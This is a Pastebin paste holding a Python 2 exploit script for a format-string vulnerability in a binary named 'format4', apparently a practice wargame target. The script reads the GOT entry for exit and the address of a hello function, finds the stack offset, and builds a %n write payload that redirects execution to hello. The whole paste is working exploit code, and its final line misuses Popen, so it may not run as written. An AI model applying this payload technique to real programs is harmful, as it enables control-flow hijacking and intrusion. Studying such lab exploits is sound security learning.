Advertisement
Guest User

test

a guest
Aug 15th, 2019
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os, sys, struct
  2. from subprocess import Popen, PIPE, STDOUT
  3.  
  4. target = os.popen("""objdump -R ./format4 | grep " exit" | awk '{print $1}'""").read()
  5. target = target.strip()
  6. target = int(target, 16)
  7. print "[ 0x%08x ]" % target
  8.  
  9. branch = os.popen("""objdump -t ./format4 | grep " hello" | awk '{print $1}'""").read()
  10. branch = branch.strip()
  11. branch = int(branch, 16)
  12. print "[ 0x%08x ]" % branch
  13.  
  14. command = """echo 'AAAAAAAA%s' | ./format4""" % ("%x "*15)
  15. offset = os.popen(command).read()
  16. offset = offset.strip().split().index('41414141') + 1
  17. print "[", offset, "]"
  18.  
  19. de = (branch & 0xff000000) >> 24
  20. ad = (branch & 0x00ff0000) >> 16
  21. be = (branch & 0x0000ff00) >> 8
  22. ef = (branch & 0x000000ff)
  23. print "[ 0x%08x 0x%08x 0x%08x 0x%08x ]" % (de,ad,be,ef)
  24.  
  25. s1 = ef - 0x10
  26. s2 = be - ef
  27. if (s2 < 8): s2 = (be+0x100) - ef
  28. s3 = ad - be
  29. if (s3 < 8): s3 = (ad+0x100) - be
  30. s4 = de - ad
  31. if (s4 < 8): s4 = (de+0x100) - ad
  32. print s1, s2, s3, s4
  33.  
  34. def pack(target):
  35.     return ''.join( [ "\\x%02x" % ord( x ) for x in struct.pack("I", target) ] ).strip()
  36.    
  37. payload = ""
  38. payload += pack(target)
  39. payload += pack(target+0x01)
  40. payload += pack(target+0x02)
  41. payload += pack(target+0x03)
  42. payload += "%{}x%4$n%{}x%5$n%{}x%6$n%{}x%7$n".format(s1, s2, s3, s4)
  43.  
  44. ## THIS IS SOME UNSATISFACTORY SHIT RIGHT HERE
  45. command = """python -c 'print "{}"' | ./format4""".format(payload)
  46. result = Popen(command, shell=True).read()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement